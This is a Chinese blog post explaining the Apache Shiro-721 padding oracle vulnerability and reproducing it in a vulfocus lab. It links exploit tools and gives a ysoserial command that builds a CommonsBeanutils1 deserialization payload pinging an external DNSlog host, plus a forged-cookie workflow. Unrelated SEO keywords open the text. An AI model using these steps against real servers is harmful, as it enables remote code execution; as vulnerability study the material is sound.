备案过的网站换空间,世界十大建筑设计公司排名,上海市建设工程监理咨询有限公司,专门做电路图的网站文章目录 Padding Oracle Attack 原理PKCS5填充怎么爆破攻击 漏洞原理源码分析漏洞复现 本文基于shiro550漏洞基础上分析#xff0c;建议先看上期内容#xff1a; https://blog.csdn.net/weixin_60521036/article/details/142373353 Padding Oracle Attack 原理
网上看了很多… 文章目录 Padding Oracle Attack 原理PKCS5填充怎么爆破攻击 漏洞原理源码分析漏洞复现 本文基于shiro550漏洞基础上分析建议先看上期内容 https://blog.csdn.net/weixin_60521036/article/details/142373353 Padding Oracle Attack 原理
网上看了很多感觉写的对我们这种对密码学不敏感的人来说非常不友好毕竟不是所有术语都能看懂所以我总结了一下Padding Oracle Attack 的攻击原理。
PKCS5填充
padding有很多种方式shiro使用了PKCS5的填充方式 如下图所示找规律能找出来么 意思就是 约定 *表示任意数据每个数据块为8字节。 当你数据为 ** ** ** ** ** ** ** 7字节差一字节成一块那么为了保持数据一块一块的就需要填充一个数据该数据根据PKCS5规则因为差一个字节所以填充01。 上图中接着填充 02 02 的意思就是他有6字节数据 ** ** ** ** ** ** 还差俩字节所以用02 02来填充02数值是告诉你差多少字节而填充的字节个数和数值是一样的。是不是有点摸着门道了 解释到这规律应该能看出来了不用再过多理解。 ps:补充当你刚好8字节满了的时候就给你另外开一个数据块填充(如下所示) ** ** ** ** ** ** ** ** 08 08 08 08 08 08 08 08 怎么爆破攻击
首先我们需要知道怎么判断我们padding数据正确 在验证 Padding 失败时的返回信息应该不同其中 PKCS5Padding#unpad 方法对数据的填充格式进行判断有问题会返回 -1 当返回值小于0时调用onRememberedPrincipalFailure 移除 rememberMe cookie并添加 deleteMe。
其实这里只需要知道若攻击失败了就会返回deleteMe即可。。。 这个padding攻击涉及的东西好多本人实在是无法解释清楚比如参考文章中有写前一块密文是后一块密文的IV通过异或中间值得到明文这个也是一个重要信息但是本篇文章主要解释漏洞的发生最主要的原因就不去深究更多的加解密的攻击。 漏洞原理
原理其实很简单shiro解决了密钥硬编码问题后使用了AES-CBC加密方式也就是说其他加解密过程没有变但是漏洞的原因是因为加密能够被Padding Oracle Attack 也就是说我们不用找到密钥就能够直接修改rememberMe字段而这里需要注意的细节就是 需要通过已知 RememberMe 密文 使用 Padding Oracle Attack 一点点爆破来达到篡改和构造恶意的反序列化密文来触发反序列化漏洞。 这也说明了为啥一定要有合法通过认证的cookie才能进行攻击因为你要走到让他padding的那一步需要合法的身份认证 不知各位道友搞懂了没总之我的看法就是 因为加密算法可被攻击的原因导致可爆破解密后篡改数据就这么简单的理解即可。 源码分析
偷个懒直接看我之前的文章shiro550 的源码分析即可 https://blog.csdn.net/weixin_60521036/article/details/142373353 721主要的解密过程没有变只要你成功padding进去了就能走到反序列化那一步个人感觉不用理解那么透彻本身这个漏洞也挺鸡肋需要登陆成功的身份认证cookie才能攻击。 看下面的调用栈就知道和shiro550是一样的了就是加解密那块改了。
漏洞复现
使用vulfocus靶场复现 话不多说直接上最快捷的道具后面再讲解另外一种抓包方式的攻击 下面这个工具在shiro550也能用雀氏挺牛13的 https://github.com/SummerSec/ShiroAttack2
接着直接爆破利用链即可
直接就能执行命令了 接着下面介绍如何通过已知cookie生成payload手动修改cookie进行攻击。
登录记得勾选Remember Me 抓包放包如果你密码正确那么就会返回一个rememberMe字段的cookie接着就是使用该cookie进行padding攻击了。 首先使用Java反序列化工具 ysoserial 生成 Payload java -jar ysoserial.jar CommonsBeanutils1 ping 9ck71c.dnslog.cn payload.class 通过 Padding Oracle Attack 生成 Evil Rememberme cookie https://github.com/inspiringz/Shiro-721 # 暴破AES密钥的脚本 注意 此 exp 爆破时间较长建议使用 ysoserial 生成较短的 payload 验证eg: ping 、 touch /tmp/success, etc约 1 个多小时可生成正确的 rememberme cookie生成成功后将自动停止运行。 使用你刚刚用cookie生成的payload.class 漫长等待后拿到pad数据后直接丢到cookie上面 接着看你自己的dnslog日志即可查看是否攻击成功了 。 参考文章 https://xz.aliyun.com/t/11633 https://www.anquanke.com/post/id/193165